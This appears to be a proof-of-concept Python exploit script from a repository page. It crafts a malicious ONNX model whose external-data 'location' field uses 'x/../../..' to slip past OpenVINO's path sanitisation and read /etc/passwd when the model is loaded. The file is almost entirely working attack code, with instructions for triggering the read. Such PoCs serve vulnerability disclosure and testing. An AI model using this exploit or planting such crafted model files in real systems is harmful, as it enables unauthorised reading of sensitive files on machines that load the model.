poc-openvino-onnx-path-traversal / poc_onnx_path_traversal.py
0xiviel's picture
Add PoC files for poc-openvino-onnx-path-traversal
e718292 verified
Raw
History Blame Contribute Delete
7.57 kB
#!/usr/bin/env python3
"""
PoC: OpenVINO ONNX External Data Path Traversal (F7)
=====================================================
Crafts a malicious .onnx model that reads /etc/passwd via path traversal
in the external_data location field.
sanitize_path() only strips LEADING /.\\ chars but x/../../../etc/passwd
bypasses because 'x' is not in the strip set. weakly_canonical() then
resolves the .. components.
Usage:
python3 poc_onnx_path_traversal.py
# Creates: malicious_path_traversal.onnx + x (dummy dir marker)
# Then: python3 -c "import openvino; ..."
"""
import struct
import os
def encode_varint(value):
"""Encode an integer as a protobuf varint."""
result = bytearray()
while value > 0x7F:
result.append((value & 0x7F) | 0x80)
value >>= 7
result.append(value & 0x7F)
return bytes(result)
def encode_string(field_number, s):
"""Encode a string field in protobuf wire format."""
tag = (field_number << 3) | 2 # wire type 2 = length-delimited
encoded = s.encode('utf-8')
return encode_varint(tag) + encode_varint(len(encoded)) + encoded
def encode_int64(field_number, value):
"""Encode a varint field."""
tag = (field_number << 3) | 0 # wire type 0 = varint
return encode_varint(tag) + encode_varint(value)
def build_external_data_entry(key, value):
"""Build a StringStringEntryProto (field 13 of TensorProto)."""
entry = encode_string(1, key) + encode_string(2, value)
return entry
def build_tensor_proto_external(name, dims, data_type, location, offset=0, length=0):
"""Build a TensorProto with external data reference."""
result = bytearray()
# dims (field 1, repeated int64)
for d in dims:
result += encode_int64(1, d)
# data_type (field 2, int32) - 1 = FLOAT
result += encode_int64(2, data_type)
# name (field 8, string)
result += encode_string(8, name)
# external_data (field 13, repeated StringStringEntryProto)
# location entry
loc_entry = build_external_data_entry("location", location)
tag13 = encode_varint((13 << 3) | 2)
result += tag13 + encode_varint(len(loc_entry)) + loc_entry
# offset entry (if non-zero)
if offset > 0:
off_entry = build_external_data_entry("offset", str(offset))
result += tag13 + encode_varint(len(off_entry)) + off_entry
# length entry (if non-zero)
if length > 0:
len_entry = build_external_data_entry("length", str(length))
result += tag13 + encode_varint(len(len_entry)) + len_entry
# data_location (field 14, int32) - 1 = EXTERNAL
result += encode_int64(14, 1)
return bytes(result)
def build_onnx_model_with_traversal(target_path):
"""
Build a minimal ONNX model that references an external file via path traversal.
The key bypass: sanitize_path() strips leading /.\\ characters only.
'x/../../../<target>' starts with 'x', so nothing is stripped.
weakly_canonical() then resolves x/../../.. to traverse up.
"""
# Calculate traversal depth needed
# Model will be loaded from its directory, so we need to go up from there
traversal = "x/../../../../../../../../.." + target_path
# Build the initializer tensor with external data pointing to traversal path
tensor = build_tensor_proto_external(
name="weights",
dims=[1, 16], # Read 64 bytes as 16 floats
data_type=1, # FLOAT
location=traversal,
offset=0,
length=64 # Read first 64 bytes
)
# Build input ValueInfoProto
# Simple: input "X" of shape [1, 16]
# This is complex in raw protobuf, let's use onnx library if available
# Otherwise build minimal model manually
return tensor, traversal
def main():
out_dir = os.path.dirname(os.path.abspath(__file__))
# Try using the onnx library for clean model construction
try:
import onnx
from onnx import helper, TensorProto, numpy_helper
import numpy as np
# Create the model with external data reference
# First create a normal model, then patch the initializer
X = helper.make_tensor_value_info('X', TensorProto.FLOAT, [1, 16])
Y = helper.make_tensor_value_info('Y', TensorProto.FLOAT, [1, 16])
add_node = helper.make_node('Add', ['X', 'weights'], ['Y'])
# Create initializer with external data
weights_tensor = TensorProto()
weights_tensor.name = "weights"
weights_tensor.data_type = TensorProto.FLOAT
weights_tensor.dims.extend([1, 16])
# Path traversal payload
# x/../../../.. resolves via weakly_canonical to traverse up
# Need enough ../ to escape from model directory to filesystem root
# From poc_files/openvino/x/ need 7 levels to reach /
traversal_path = "x/../../../../../../../etc/passwd"
entry_loc = weights_tensor.external_data.add()
entry_loc.key = "location"
entry_loc.value = traversal_path
entry_len = weights_tensor.external_data.add()
entry_len.key = "length"
entry_len.value = "64"
weights_tensor.data_location = TensorProto.EXTERNAL
graph = helper.make_graph(
[add_node],
'traversal_test',
[X],
[Y],
initializer=[weights_tensor]
)
model = helper.make_model(graph, opset_imports=[helper.make_opsetid('', 13)])
model.ir_version = 7
output_path = os.path.join(out_dir, "malicious_path_traversal.onnx")
with open(output_path, 'wb') as f:
f.write(model.SerializeToString())
print(f"[+] Created: {output_path}")
print(f"[+] Traversal path: {traversal_path}")
print(f"[+] sanitize_path('x/../../../../../etc/passwd')")
print(f" → 'x/../../../../../etc/passwd' (first char 'x' not in /.\\)")
print(f"[+] weakly_canonical(model_dir + '/' + path)")
print(f" → resolves ../.. to reach /etc/passwd")
print()
print(f"[*] To trigger:")
print(f" import openvino as ov")
print(f" core = ov.Core()")
print(f" model = core.read_model('{output_path}')")
print()
# Also create the dummy 'x' directory so weakly_canonical can resolve
x_dir = os.path.join(out_dir, "x")
os.makedirs(x_dir, exist_ok=True)
print(f"[+] Created dummy dir: {x_dir}")
# Verify the traversal manually
import pathlib
model_dir = pathlib.Path(out_dir)
full = model_dir / traversal_path
try:
resolved = full.resolve()
print(f"[+] Resolved path: {resolved}")
if resolved.exists():
print(f"[!] TARGET FILE EXISTS - traversal would succeed!")
except Exception as e:
print(f"[-] Resolution error: {e}")
except ImportError:
print("[-] onnx library not available, creating raw protobuf model")
print("[*] Install: pip install onnx")
# Create raw binary
tensor, traversal = build_onnx_model_with_traversal("/etc/passwd")
print(f"[+] Traversal payload: {traversal}")
print(f"[+] Tensor proto ({len(tensor)} bytes):")
print(f" {tensor.hex()}")
# Save just the tensor data for reference
output_path = os.path.join(out_dir, "traversal_tensor.bin")
with open(output_path, 'wb') as f:
f.write(tensor)
print(f"[+] Saved tensor proto to: {output_path}")
if __name__ == "__main__":
main()